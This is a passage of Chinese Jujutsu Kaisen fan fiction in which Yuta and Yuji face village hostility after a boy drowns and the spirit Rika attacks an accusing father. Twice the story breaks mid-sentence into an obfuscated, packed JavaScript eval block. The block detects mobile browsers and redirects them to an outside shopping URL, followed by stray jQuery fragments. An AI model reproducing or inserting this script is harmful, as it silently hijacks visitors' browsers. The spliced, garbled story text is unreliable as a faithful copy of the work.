就像在听别人的故事一样。
乙骨忧太歪着头:“悠仁想吃蛋糕?”
“啊、诶......有一点点点点点?”
试试拜托便利店的店主能不能帮他们好了,乙骨忧太想道。
“想不起来也没关系的,悠仁。那不是什么很好的回忆......就像我之前和你说的,如果会感到痛苦,我宁愿你不要去做。”乙骨忧太说这些话的时候有些手抖,有时他觉得自己的人生时时刻刻都充满了噩梦,不论是过去发生过的、即将变为现实的,还是未来已经可以预见的。
他会像习惯村子里的生活一样习惯那些噩梦的存在吗?
“嗯......”虎杖悠仁发出长长的鼻音,这下连乙骨忧太也无法从他脸上的表情分清他到底是怎么想的了。
“好吧,”他的回答让乙骨忧太松了一口气,“那么忧太说的,森林里的东西......是神明大人?”
乙骨忧太笃定地说:“那绝对不是!”
那不是不净的气息,而是“邪恶”。所谓的神明大人,果然还是......
“那我们住在这里岂不是很危险?!这里离森林太近了。”
在家里,乙骨忧太并不能很清晰地感受到身在森林里时那样明显的邪恶气息,而且一旦离开森林,里香的状态就会显著变好。
只要森林里的那东西不会靠近村子的方向,还有那个跑掉的咒灵不会回来的话,他们的家依旧很安全。
进入森林里时穿的衣物都被乙骨忧太收拾在一块,一起丢掉了。上面沾上了比想象中更多的血迹,根本无法清洗干净。塑料袋里还塞了一块散发着血腥味的毛巾,乙骨忧太正是用这块毛巾替虎杖悠仁擦干净了脸。
“我去把他们丢掉,”乙骨忧太带上了钱,多穿了几件薄外套,戴上了针织帽,“我会买晚饭和新衣服回来,悠仁就在家里等我吧。”
虎杖悠仁说自己想和他一起去,但乙骨忧太还是坚持自己的决定。这个时候他对虎杖悠仁的保护欲达到了顶峰,哪怕里香的神奇魔法真的将虎杖悠仁身上所有的伤都治愈了,他也难以让自己彻底安心。
他借着仍未完全消失的天光踏着积雪前行,因为这条路没有人走过,所以他在崭新的雪面上留下了唯一的一行脚印。
生活垃圾已经堆放到了垃圾桶的周围,大雪和新年让这些垃圾没有得到及时的处理,不过好在此时正值隆冬,异味被掩盖了下来。
乙骨忧太将装着衣服的袋子放到了垃圾堆旁,加快脚步向便利店赶去。
29. 第 29 章
“蛋糕?我一来一回可要很久,而且这里的路你也知道,等到拿回来可就不是那副漂漂亮亮的样子啦。”
乙骨忧太抱着新买的衣服,在便利店等着店主将便当热好。
“旧村那边会有人卖吗?”
“这种好看但放不了多久的东西都不会受欢迎,你看他们卖的糕点都是干巴巴的,就是因为能放很久嘛。”
就算有了冰箱储存食物,这里的人也很不喜欢中看不中用的甜品,而且偏偏这种东西都很贵,开甜品店是根本养不活自己的。
“我家老头以前还想开甜品店,”在微波炉工作的间隙,便利店的店主叼着烟和他聊天,说起了以前的事,“嘁,你不知道这里的人有多少毛病!小孩子们买糖吃,结果吃坏了牙......流言蜚语在这里很容易就会成为事实,毕竟这地方就这么多人,一旦达成了共识,被针对的那个人就等着彻底完蛋吧。”
“......”乙骨忧太扣着玻璃展柜边的胶,不知道该说些什么。
“我开这家店,每天还要被那群大爷大妈翻白眼,”店主在烟灰缸里弹了弹烟灰,看似风轻云淡地说,“喂,你在听吗?要我说,你们长大之后都赶紧跑吧。你老爸老妈不就跑了吗?你也带着那小子一起跑了吧。在这种地方有什么前途?不过你也真是可怜,都走出去了又被家里人丢了回来......”
这家便利店里找不到外面时兴的新鲜玩意,店主每次几乎都只会进最基础的货物,可即便如此他的这家店也总是沦为凉亭下老人们批判的对象。
似乎从外面来的东西都沾着什么不干不净的东西一样。
微波炉停止运转的“叮”声打断了便利店店主的滔滔不绝,他将便当装好,乙骨忧太把它们塞到了新的厚外套之间,希望在到家之前能够尽可能地保留一些热气。
“神社里的那些家伙说的话也别太在意了,哪有什么神啊鬼啊之类的,要是真有,也只能是那些孩......哈哈,我倒是还有些羡慕你们,至少还有机会,可惜我这辈子就烂在这里喽。”
因为委托邮寄信件、交付生活费的关系,便利店店主和乙骨忧太他们都很熟悉。大概是平时没人听他说这些,也害怕成为流言蜚语中的一员,便利店店主憋了很多话,只敢和他们两个唠叨唠叨。
他是绝对不敢和本地土生土长的孩子说这些的,他们比恶魔更可怕。
乙骨忧太一边跑,一边回想着便利店店主的话。
天已经完全黑了下来,久久不散的乌云让冬天的夜晚更加深沉,不见星光。不知何时又开始有雪花飘落,它们像盐粒一样洒了下来,乙骨忧太的睫毛能够感受到它们的重量。
他用力眨了眨眼睛,没能将遮挡视野的阴影弄掉。没过脚面的积雪开始侵蚀他的鞋子,让他的双脚感受到了寒冷的潮气。通往山上的路除了他来时留下的那一行脚印之外,另外多了一行步幅更宽、鞋码更大的脚印。乙骨忧太经过垃圾堆的时候侧目扫了一眼,新鲜的脚印果然是通向那里的。
附近也有老人喜欢捡拾垃圾桶附近的废弃物,冬天无人收拾的垃圾堆正好方便了他们。
乙骨忧太扭头,不再关注那边。他的视线落在了红房子上,屋顶的颜色已经与夜幕融为了一体,屋子里的人拉着窗帘,但是仍有暖黄色的光从缝隙中露出来。
他在院子门口站了一小会儿。
他托便利店店主在上次去城镇里时帮他寄了信,他写了两封,一封交给父母,一封交给了妹妹......不过大概都会被父母看到吧。他已经没有勇气和兴致再给他们打去电话,通过邮寄信件这样原始的方式反而更适合现在他们之间微妙的关系。
原来相连的血脉也会让人觉得浑身冰冷。
他重新迈动脚步,有些等不及的虎杖悠仁果然跑了出来,粉发的孩子将门廊前的灯打开,照亮了不大不小的院子,坐在台阶上欣赏着他们的杰作。三个不太完美的雪人站在院墙边,就像是在守护着他们的家一样。
“白天的时候明明觉得推得很圆了,现在看怎么扁扁的啊......”
虎杖悠仁撑着下巴,将围巾抖开之后裹在身上倒也没觉得有多冷,看到乙骨忧太的那一刻他开心地跳了起来,向他招手:“忧太!”
血液回暖,乙骨忧太不由自主地跟着他一起笑了起来:“我回来了。快进去吧!”
如今也顾不得新年第一天应该吃些什么才符合传统,两个人解决掉仍旧热乎的便当之后,虎杖悠仁开始试穿乙骨忧太买回来的新外套。
“已经挑了库存里最小号的了......哈哈!没关系的悠仁、哈哈哈!明年得好好努力长高才行呐!”乙骨忧太坐在被炉里,看着新买回来的外套将虎杖悠仁套了进去,下摆已经快要没过膝盖,那模样看起来就像是一只圆滚滚的企鹅一样。
虎杖悠仁嗅着大衣里混合着香烟和灰尘的味道,努力让自己的下巴从帽檐边的一圈毛毛中伸出来——那些毛茸茸的东西蹭得他脸颊痒痒的,想要伸手挠才发现袖子也长得过分。
“这样根本没办法活动嘛!”他举起两只耷拉着看不见手的袖子,气鼓鼓地说。
“等明年悠仁长大了就能穿了。”乙骨忧太眯着眼睛安慰他。因为实在太可爱了所以没忍住用相机偷偷拍了一张,在悠仁发现生气之前好好地将相纸藏在了桌子下面。
虎杖悠仁脱下大得过分的外套。
那东西感觉能将他和乙骨忧太一起裹进去。
他重新钻进被炉,踢了踢乙骨忧太的小腿,趴在桌子上口齿不清地说:“我们来玩扑克牌吧。”
“好啊。”
打发时间的游戏有很多,最近被他们迷恋的玩具就是这幅扑克牌。某些牌面上已经出现了折痕,大概是掉到地上后又不小心被谁的屁股压折了。他们玩了几局两个人就可以玩的扑克牌游戏,很快虎杖悠仁就改变了玩法。
他们开始用纸牌搭房子,为此弄弯了更多的卡牌好让它们能够更稳当地立在桌子上。
失败了几次后,他们很快找到了技巧。
“杂货店里有卖望远镜的呢,虽然上面堆了很多其他东西,还落了很多灰,但我看见了!”虎杖悠仁捏着嗓子说话,生怕嘴巴里发出的气流会轻而易举地击溃眼前这栋三层的纸牌屋。
乙骨忧太更干脆地用手挡住自己的口鼻:“等到春天才好,既不会下雪也不会下雨,晚上应该能看见很多星星吧?”
“我们能看到月亮上有没有外星人吗?”
乙骨忧太想了想:“应该可以吧?月亮比星星大那么多,应该更容易看清才对。”
虎杖悠仁开心地笑着,随意畅想起来:“夏天我们可以去阁楼上睡吗?不用关上窗户,或者去屋顶上!我还想上去看星星!”
“好喔!等到我们长大了,说不定睡醒之后起来会直接磕到鼻子呢!”
虎杖悠仁突然泄了气,闷声趴在了胳膊里。乙骨忧太戳了戳他的脖子,后颈传来的痒意让虎杖悠仁瑟缩了一下,不满地哼声。
乙骨忧太没有试图继续再在三层上搭建第四层。这座没有地基、连材料都如此脆弱的结构已经摇摇欲坠,根本经不起任何外力。就算没有人触碰它、将风也隔绝的话,重力依旧会摧毁它。
“把头转过来嘛,悠仁!悠仁?”
他得到了一只张牙舞爪的粉色刺猬。
“忧太最近好像我老家附近的婆婆,她经常念叨着等到她的孙子长大了就会如何如何,实际上那家伙幼稚得很,连比他还要小的孩子都知道不能插队......忧太老说等我长大了,听起来就像是在说我现在也很幼稚诶。”
乙骨忧太也趴在桌子上,将半张脸藏在柔软的臂弯,和虎杖悠仁对视的时候露出的半只眼睛难得亮晶晶的,不像是黑色的布片,像是某种水果的果核一样,倒映着虎杖悠仁的脸:“悠仁不就是小孩子嘛。”
“忧太只比我大一岁!不!不到一年!”
他们的生日都在三月初春,乙骨忧太的日子比虎杖悠仁要早上十多天。
他挺了挺胸膛,语气中含满笑意,打趣道:“那悠仁要叫我哥哥才对。”
虎杖悠仁偏不如他的意,姐姐妹妹弟弟老师前辈大叔之类的乱七八糟胡乱叫了一通,听得乙骨忧太浑身上下起满了鸡皮疙瘩,连连伸手去堵虎杖悠仁的嘴巴。再不阻止的话,他恐怕会先羞愧而死吧?
打闹间,在屏气凝神中好不容易搭出来的三层纸牌结构轰然倒塌,乙骨忧太有些遗憾地说:“忘记给它拍照留念了。”
“再搭一遍就好了!这次我要搭到第四层!搭不到的话绝对不会去睡觉的!”
虎杖悠仁立下了豪言壮语,结果连第二层都没搭完就困到将额头直接磕在桌子上,最后还是乖乖打着滚翻身上床,酣然入梦。
懒得收拾东西所以直接关灯的乙骨忧太费了些力气才把自己塞进像是寿司海苔一样裹在虎杖悠仁身边的被子,看着漆黑的天花板逐渐升起了一些睡意。
纠结半晌,最终他还是选择贴上了身边孩子温热的身体,依靠着这样的温度缓缓闭上了眼睛。
他今天肯定用尽了毕生的运气。
失而复得的狂喜只有他自己知道,就像舔舐着玻璃做成的糖果,即便满嘴鲜血也不愿意让那甜甜的味道溜走。
乙骨忧太以为自己仍旧会做噩梦,可这个夜晚却出奇的平静。醒来的时候发现已经有冷色调的光从窗帘的缝隙中照了进来,他意识到自己安安稳稳地一觉睡到了天亮。
习惯性地给睡相不怎么乖巧的虎杖悠仁重新拉好被子,他揉着眼睛随意穿上了两只拖鞋,磨蹭着走到了浴室。
洗脸的时候他听到了外屋传来虎杖悠仁的喊叫声:“忧太!!你穿错鞋了!!左脚的那只是我的!!!”
垂下眼睛看了一下,两只脚上的鞋子果真不是一个颜色。
“款式是一样的,换着穿也没什么的吧......”含着牙刷,乙骨忧太扶着水池边任由虎杖悠仁认真地抬起他的腿,一板一眼地将两个人穿错的拖鞋换了回来。
“爷爷说鞋子要穿自己的,”虎杖悠仁洗了手,将乙骨忧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378168|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太赶去浴室的角落里刷牙,“不然会有脚气!”
“......我没有啊。”
“那也不行!”
乙骨忧太叼着牙刷叹了一口气。
他承认,有的时候他也搞不明白这孩子的脑袋里装了些什么东西。比如有一天虎杖悠仁在清理菜地的时候突然说想养蚯蚓,还说他梦到了蚯蚓会变成人之类的......“罪魁祸首”就是在挖土的时候被铲成两截的软体动物,但这个想法出现的时候就和他们的菜苗发芽的时机一样,并不合适。
冬天怎么可能养活蚯蚓啊,能从菜地里挖到一条都算是完全想不明白的奇迹了!好在乙骨忧太并没有劝很久,虎杖悠仁在第三天的时候就已经完全忘记了自己这个可怕的想法。
神社里没什么事,新年前后的这几天大家似乎都变得疲懒了起来,每天早上总爱站在鸟居上叽叽喳喳叫个没完的鸟儿都选择闭上了嘴巴。
他们帮着便利店的店主扫干净了门前道路上的积雪,看着他因为积雪堆放的位置和住在隔壁的人隔空吵架,而且愈演愈烈,逐渐升级为了对骂,就差动起手来。
“哼,真受不了!”店主猛灌了一肚子的水,让他们两个待在下面帮他看着梯子,自己则拿着竹竿去清理屋顶上的积雪:“喂!你们离屋檐远一点!”
邻居的咒骂声萦绕在他们耳边,虎杖悠仁整理着不得不卷起来一部分的袖子,神色莫名地看着巨木的方向。村子里的每一个角落不论从哪个角度去看,都能看到这棵直通天际的高大树木。
叶片已经掉得精光,那些成堆的落叶还是他们和神社的巫女整整清扫了两个多星期才扫干净的,装在黑色的大型垃圾袋里搬回了神社,在神苑的后面空地上全都烧掉了。
“在看什么?”
虎杖悠仁的眼睛没有离开树顶,从他的角度看去,巨木的顶端简直和更后方的山峰一样高。
“如果能够站在树顶的话,”他比划了一下,想象着能够从那个高度呼吸到的新鲜空气,“能不能摸到云呢?”
如果正在下雪的话,他要是将手伸进云朵里,能不能抓出一把白白的冰沙?刚被云朵制造出来的雪肯定很干净,吃起来的口感应该也会像是冰激凌一样吧?
“那应该是附近最高的地方了吧?会不会和山一样高呢?”乙骨忧太也远远地望向那个方向,等到神社里的神职人员们度过这个“假期”,应该会组织大家一起去清扫巨木附近的积雪吧?
不过最近那里还是附近孩子们的游乐场,每次经过的时候他们都会看到有人在打雪仗,雪球被扔来扔去,脚下的积雪也很快会被踩得灰仆仆的。
便利店店主为了答谢他们帮忙扫雪,免费请他们吃了一顿便当。
乙骨忧太知道除了他们自己选,店主每次给他们的都是快要临期的货物,不过他从来没有主动说起过这件事。
回家的路上,巨木树根附近的神龛前围了一群人。经过这片地方时,脚下被踩实的雪已经不会发出咯吱咯吱的声音了,踩上去有种踏在冰面上的感觉,滑溜溜的触感让他们必须时刻关注着脚下。
人似乎聚集得稍微有些多。
他们看到了跟着巫女们一起生活的女孩,她没有戴手套,指关节冻得通红。
“有人死了,”她对他们说,语气平静得可怕,“应该是那个叫松下的吧。”
那个叫松下的男孩在跨年的夜晚掉进了河里,直到今天上午才被捞起来。
“昨天、晚上?”
女孩看了两眼被人群围住的地方,指了一下:“因为没在天黑前回家吧。”
虎杖悠仁顺着她手指的方向看去,在大人们厚厚的棉服缝隙间,能够看见一具躺在地上的身体。
“不知道该放在哪里,所以暂时放到了那个神龛前面。就算现在开始找棺材,也需要做上几天才行。”
松下的身体呈现出了一种诡异的姿态。他像是睡着了一样,但肌肉看起来非常僵硬,犹如冻得硬邦邦的冰块,泛着铁青。
就好像他的时间被禁锢在了这一刻,他们隔着水晶般的无形玻璃看他,尸体上还保留着未褪尽的、生的气息。
突如其来的意外让虎杖悠仁和乙骨忧太没有了好心情。回到家之后,虎杖悠仁还在问着问题:“他怎么能掉进河里去呢?这会儿明明是冰面最厚最硬的时候。”
松下经常会去河边捞鱼,带着他的渔网。他们曾在溪边见到过他很多次,秋天也是,他会直接赤着双脚走入河道中,直到水没过膝盖。松下爱去水深的地方,只有这种地方才有机会捕到更大的鱼。
乙骨忧太曾经试图提醒他不要走得太深,但除去中美的事情之外他们并没有其他的交集,这样的提醒反而换来了白眼与不屑的哼声,自那之后乙骨忧太会拉着虎杖悠仁和下方河道里的身影交错而过,不再出声。
“那会是我们的错吗?”虎杖悠仁自知问了一个蠢问题,但听到的人是乙骨忧太,也就无所谓了。
“不。那绝不会是我们的错。”乙骨忧太叠起大衣,头也不抬地回答了他。
30. 第 30 章
正如便利店店主所说,在这种闭塞落后的小地方,流言蜚语就是事实。
虎杖悠仁看得出来,宫司已经有些不耐,可还是坐在原地听对面的秃顶男人滔滔不绝地诉说着自己的怨怼。
“不是说一个孩子就够了吗?!为什么还要夺走我儿子的性命?!我老婆早就不能生了,你从哪里赔给我一个儿子?!”
“诊所的医生已经说得很明白......”
“你不是祭司吗?!你去跟神好好说一下啊?!儿子不行的话,再给我一个老婆也可以啊!”
“......那个孩子是意外落水。”
简直驴唇不对马嘴。
失去孩子的母亲整日跑到神社哭泣,风雨无阻,哪怕天上落着大雪也要让凄厉的哭号响彻整个神苑。
秃顶男人根本不听旁人的解释,他不知道从谁的嘴里听说了松下落水的那晚还有其他的孩子在场,于是一根筋地认为有人故意将松下推下了水。
事情的走向开始变得诡异起来,明明毫无关联的两件事却被牵强附会,卷入了这场闹剧。
“那和这件事根本没有关系!他身上又没有伤口,凭什么说那晚是我们在河边?!”
秃顶男人挥舞着铁锹,嵌满污泥的指甲几乎要戳到虎杖悠仁的眼睛里:“你们的衣服上有血!!有血!!”
乙骨忧太直接甩手打开他的胳膊:“拿出其他证据来,不然就从我家门口滚开!!”
他很少用这样凶狠的语气说话,但被人这样指着鼻子咄咄逼人,他胸口的火焰怎样都无法再压制下去了。
“你们有什么好说的?!从外面来的野种,不知道是谁允许你们住进村子里的吗?!”
这是在说什么啊?
“被没用的父母随手丢掉的垃圾,跟神社里那个没用的东西是一样的垃圾!你们有钱对吧?”
乙骨忧太被他沙哑的声音吵得头疼,下意识地捂住了额头。虎杖悠仁不会和人吵架,被秃顶男人的话带偏了。
他要如何排解这样的感觉?仿佛站在自己对面,与他同样拥有两只眼睛、一个鼻子、一个嘴巴、四肢完好无损的生物,却不是他的同类。明明说着同样的语言,却无法相互理解。他觉得一阵耳鸣。
虎杖悠仁把自己说得口干舌燥,大脑有些缺氧。
为什么呢?他们难道说得不是同一种语言吗?松下的死和他们是不是外乡人有什么关系?为什么不肯听听他们的解释?为什么不肯理解?为什么不肯把那张该死的、说着恶心话的嘴巴闭上?!!
秃顶男人始终不肯离开,他用铁锹砸碎了院门口的三个雪人,而虎杖悠仁闭上了嘴巴,直接冲了过去挥起拳头。
乙骨忧太跪倒在地,揪着胸口的衣服大口喘气。他无法控制自己的负面感情,秃顶男人看不见的巨大阴影已经蠢蠢欲动,厌恶、恶心、困惑,种种复杂的感情杂糅在一起,搅成了一团漆黑的浆糊,从他的心口处淋漓而出。
他已经装不下那么多了,如果不将它们发泄出来的话,那些诅咒的火焰会将他自己也燃烧殆尽。
“......我说了,”他双手揪住了自己的黑发,不自觉绷紧的肌肉颤抖着,扯动了头皮,带起阵阵疼痛,“从我家里滚出去!!!”
低吼的怒音和尖锐的女声融为一体,里香咆哮着冲了出去,挥拳打在了秃顶男人的身上。
虎杖悠仁伸出的拳头还没有收回,愣愣地看着秃顶男人如同断线的风筝一样倒飞了出去,落在土路对面堆起的积雪上。
从身侧刮过的狂风将他向前带了两步,秃顶男人的嘴巴再也说不出阴狠毒辣的话来,反而凄凄哀哀、断断续续地哀叫呻吟着。
“啊......啊、这是、好疼啊——这是什么玩意儿?!怪物!!!”
体型膨胀了数倍的里香只用一只手掌就将男人攥紧,捏着他从地上提了起来。
“不准、欺负他——!!!”长满利齿的巨口向脸色铁青的秃顶男人咆哮着,根本无法控制力道的白色咒灵将玩具似的男人捏得两眼向上翻去。
虎杖悠仁喘息着。他想起了被自己忘记的事,连带着那份伤痛也一并回归了他的身体。看着暴怒的里香,他第一次感觉到了恐惧。
因为那是祈本里香的灵魂,所以虎杖悠仁从未惧怕过它。可现在他的侧肋正在隐隐作痛,似乎之前受的伤仍残留在他的身体里,一直没有痊愈。
“里香......”
琥珀色的眼球剧烈地震颤着,在大张着嘴伸出舌头的秃顶男人和白色的咒灵之间来回挪动,因为咆哮而暴露出来的利齿看起来要将他的头直接咬下来似的,令人不寒而栗。
虎杖悠仁第一次正视里香身为咒灵的恐怖。
这股力量席卷了他的全身,世界变得光怪陆离,有一些轻飘飘的、色彩分明的东西不断从里香的体表散发出来,他只觉得那些和他的发色很像的东西太过熟悉,却又想不起来那股熟悉的感觉究竟来自何处。
里香突然松开了手。
秃顶男人软塌塌的身体掉到了地上,砸落了顶层的积雪,顺着重力向下滚了两圈,仰面停了下来。因为窒息而面目狰狞的脸正对着虎杖悠仁,那收缩到了极点、缠上死亡气息的瞳仁看得虎杖悠仁下意识地抖了一下。
“......里香!里香、里香,回来吧,里香。”
乙骨忧太拽住了虎杖悠仁,火炉一样热腾腾的手臂仿佛被来自凛冬的妖怪捉住,虎杖悠仁下意识地用自己的手反握住乙骨忧太,让自己的体温温暖着这个看上去摇摇欲坠的黑发孩子。
虎杖悠仁的呼吸很急促,接连不断的白气从他的脸旁消散,他不知所措地望着眼前的这一切,浑身麻木。
逐渐有人围了过来,虎杖悠仁看到了目光冷漠、住在红房子里的老人。乙骨忧太几乎将全身的力量都靠在了虎杖悠仁的身上,原本被他逐渐安抚下来的里香因为渐渐围过来的人群而重新变得焦躁。
但是没有人能够看见它。
虎杖悠仁撑着乙骨忧太站在他们自己的院子里,众人站在院外。
他们像是围住中美哥哥一样围住了秃顶男人,最后一两双定格在两个孩子身上的视线也终于离开。
这个冬天太漫长了。
也可笑到不像样。
自那天之后,乙骨忧太和虎杖悠仁几乎三点一线,在家、神社、便利店之间行动,热切地期盼着春天的到来。
“这个村子里的人,大家都好奇怪。”虎杖悠仁将洗衣机里的衣服拿出来抖了抖,冬天没办法在外面晾衣服,他们在阁楼里拉起了绳子。爬阁楼这种事几乎都是虎杖悠仁的工作,他灵巧得过分。
“等我们再长大一些就走。不在这里,也不去城市里。”乙骨忧太用长长的撑衣杆将挂好的衣服递给趴在阁楼边缘的虎杖悠仁。
“那就是去旅行?我们可以一边打工一边到各种地方去!想去哪里去哪里!”
虎杖悠仁眼睛冒着星星一样的亮光,从通向阁楼的通道口探出脸来,带着一丝期待和一点小心翼翼。他并没有将自己已经想起那日在森林中发生的事告诉乙骨忧太,而是将它当成了自己的秘密,并擅自决定要永远地将它埋在心底。
能够被好好放在心里保护起来的东西不一定都是甜甜的回忆和值得珍视的美好,也有必须放在那里、任由它生锈腐烂也不能拿出来的“秘密”。
只是这样的话,那些藏在心里的糖果总有一天也会变质发酸,再也无法从中品味出美好的滋味了吧?
乙骨忧太仰着头,冲他笑笑:“嗯。”
虎杖悠仁心情极好,他的身影从那方小小的通道口消失,天花板上传来啪嗒啪嗒的声音。随便到哪里去——这简直是虎杖悠仁能够想象到的最自由的事。比飞在天上还要畅快,这个世界上还有很多地方他都没有去过,电视里广袤的草原、奔涌的长河、荒芜的沙漠、寒冷的雪地一一闪过他的脑海,让他心动不已。
没有其他人,只有他们两个和里香!
这样一来乙骨忧太不用担心里香会伤害其他人,他也不用担心会有其他人来伤害他们。
这样想着,虎杖悠仁连入睡的时候嘴角都带着压不下去的笑意,从他的脸上就能看出这孩子已经在梦中去到了他想象中的未来自由畅行。乙骨忧太照例检查了他有没有将被子压实,然后将自己缩了回去。
相比起没什么烦恼的虎杖悠仁,乙骨忧太思考的事情根本不像是他这个年纪的孩子应该考虑的问题。
不停下脚步,就代表着他们没有可以回去的家。路途中经过的无数栖身之所将无法成为他们心灵的归宿,哪怕再疲倦也只能继续向前走。
就算是候鸟,也必须在固定的时节离开家,踏上跨越千里的旅途。
如果他们手头的钱足够宽裕,倒是可以称那样的生活为旅行,如果过得拮据一些,那不就是居无定所地到处流浪嘛!
要是有什么不用和人打交道也能赚钱的方法就好了。
比如真的去当一个神棍?驱魔师?毕竟和咒灵有关的事在看不见它们的普通人眼中就是灵异事件而已。
虎杖悠仁吐出一段梦中的呓语。乙骨忧太从自己的思维当中跳了出来,侧耳细听,从他的口中听到了儿时老家附近的那个农场。
要不去当个农场主吧?动物们会接受里香吗?乙骨忧太的脑海里浮现了一个打扮得像是牛仔一样,戴着牛仔帽、手里甩着绳子在草场里凭借两条腿追着牛狂奔的虎杖悠仁,以及一个套着橡胶涉水裤、手持叉子蹲在地上欣慰地看着马儿们悠然吃草的自己。
带着各种稀奇古怪的幻想,乙骨忧太逐渐和虎杖悠仁一样,沉浸在了自己构筑的美好未来里。
便利店店主外出进货,答应乙骨忧太看情况给他们带块小蛋糕回来,他说这话的时候没有避开虎杖悠仁,乙骨忧太本不想太早让他知道这件事的。看着围在自己身边像只小狗一样转着圈甩尾巴的粉发孩子,乙骨忧太突然生出了一些罪恶感。
如果没有蛋糕的话,一定会超级伤心的吧?
会眼泪汪汪地拧着眉头,连耳朵都和尾巴一起垂下去,用可怜巴巴的眼神看着他吗?
他绝对受不了这个!
虎杖悠仁雀跃地送走了便利店店主,怀里抱着几个快要临期的红豆面包和牛奶饮料。自从新年过后,他们还没有去过旧村,于是虎杖悠仁提议他们可以去找枷场姐妹玩,正好便利店店主给了他们很多吃的,他们中午可以一起吃。
乙骨忧太并没有异议,他们小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378169|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心翼翼地避开了村里的人,趁着村口没有人经过的时候一口气跑进了那条藏在灌木丛中的小路。
这条路半遮半掩地嵌在森林的边缘,不过对于村里人来说,比起对神的敬畏,还是少走几个小时的山路会让自己少受些苦。
只要离得足够远,他们就可以叫出里香。
“咒灵也会长个子吗?里香好像比原来长大了一些。”虎杖悠仁和乙骨忧太一左一右,坐在里香的肩膀上。围巾无法完全挡住迎面而来的冷风,虎杖悠仁却觉得很畅快。只要有风吹起来,就会像心脏跳出胸膛一样快乐。
他拍拍乙骨忧太的手臂,将下巴缩进围巾里,笑着说:“那忧太要多吃一些,这样里香也会长得更高啊!”
“会好好吃的啦,”乙骨忧太将他的围巾往上扯,盖住鼻子,“不要说话了,喝风的话会肚子疼的哦。”
虎杖悠仁闭上了嘴巴,连眼睛也一并闭上了。
“掉到河里去了?可是河面已经被冻得梆梆硬,想要凿开那么厚的冰也不容易吧?”枷场菜菜子咔哧咔哧地咬着干巴巴的薄饼干,这几天旧村的便利店干脆利落地关门了,她们吃不到热乎的饭菜,每天只能吃些过期的零食度日。
虎杖悠仁带来的红豆面包被她们分成两半,枷场美美子小口小口地吃着,虎杖悠仁见状安慰她道:“多吃一点,这里还有喔。”
乙骨忧太沉声说:“所以才很奇怪。宫司说松下的身上没有伤痕,看起来就是单纯地掉进冰水里淹死了。”
他的眼睛转了转,默默地落在了地板的角落上。枷场姐妹将她们的家收拾得很干净,虽然没什么家具和生活气息,但至少地板一尘不染。
乙骨忧太的沉默是因为想到了那个伪装成中美样子的咒灵。
“这跟你们有什么关系?分明是那个男人无理取闹。”枷场菜菜子喝着凉牛奶,毫不在意地说。
是啊,这件事本就和他们毫无关系。
“来玩扑克牌吧!我们四个。”枷场美美子将多余的被褥铺在地上,她们家没有被炉,铺上被褥的话他们就可以躲在被子里取暖了。
“我的眼皮一直在跳诶,感觉我会输得很惨......”虎杖悠仁帮着枷场美美子将地方收拾好,只有一层的被褥并不足够柔软,膝盖手肘等关节戳在上面的时候还能感觉到地板的凉意和硬度,可聊胜于无,更何况只要虎杖悠仁待久一些,他的体温会将那附近捂得暖暖和和。
输的人要在脸上贴纸条,虎杖悠仁很快就被贴成了圣诞老人。
“可恶啊!圣诞节的时候我不会给你们送来圣诞礼物了!!”他入戏很快,“捋”着自己的胡子,装模作样地说。
“那是什么?”枷场姐妹展现出了双胞胎的默契,一起歪着头问道。
“你们指什么?”虎杖悠仁跟着她们转动脑袋,她们不知道什么是圣诞老人吗?
枷场姐妹已经很久没有收到过礼物了。与父母共同度过的日子也许曾有过这样的期待,但现在那些曾经的欢声笑语也变成了看不真切的回忆,等到她们长大了,儿时的记忆也会被逐步封存。
“......听起来不像是真的。”枷场菜菜子甩下一张牌。
圣诞老人当然是假的。
“如果是真的就好了。”虎杖悠仁只是这样说道。
枷场家新换的玻璃外面封上了木板,屋子里主要的光线来源只有一个挂在房顶的白炽灯。那些木板是为了防止玻璃在冬天被人砸坏而封上去的,在这种天气里她们根本没有办法及时换新的玻璃,而且村里的工匠总会想方设法从她们身上撬走更多的钱。
因为输了太多次,虎杖悠仁不想再玩扑克牌了。他们靠在屋子的角落里各自看着杂志,枷场菜菜子对时尚杂志上的东西如数家珍,曾被她们用来垫床脚的字典重见天日,凭借着外力,她们磕磕绊绊地吸纳着来自大城市琳琅满目的繁华。
“大城市真好啊......包包好漂亮,嘴巴也亮闪闪的,她们还在眼睛上面也涂了颜色,叫眼影的东西,真好看呐......”
“为什么要往眼睛上涂颜色?”虎杖悠仁问。
“因为会变得漂亮。”
虎杖悠仁凑过去看枷场菜菜子手指的地方,挠头抓耳看了半天,才在菜菜子呵斥他“没天分”之前琢磨出一点不一样来。
“杂志上都是女孩子呢,”他摸了摸自己的眼睛,“我要是也画上眼影的话会变得更帅气吗?”
枷场美美子抽出另一本杂志,递给了虎杖悠仁:“看看这个。”
“你们两个最重要的是遮住黑眼圈,”枷场菜菜子将镜子举到乙骨忧太的脸前,指了指他在镜面上无比明显的青黑色,“简直像是熊猫一样了嘛!”
“熊猫?”
乙骨忧太揉着眼睛,惊呼道。明明从自己家的镜子里看着没有这么明显来着......
枷场美美子精确地翻页,把那个圆滚滚、毛茸茸、只有黑白两色的生物指给他看。
“忧太,你和它真的很像诶,”虎杖悠仁的脑袋左右摆动,拍着手说,“它比你胖很多喔!”
“哈哈,确实很可爱呢......”乙骨忧太挠着头,底气不足地说道。
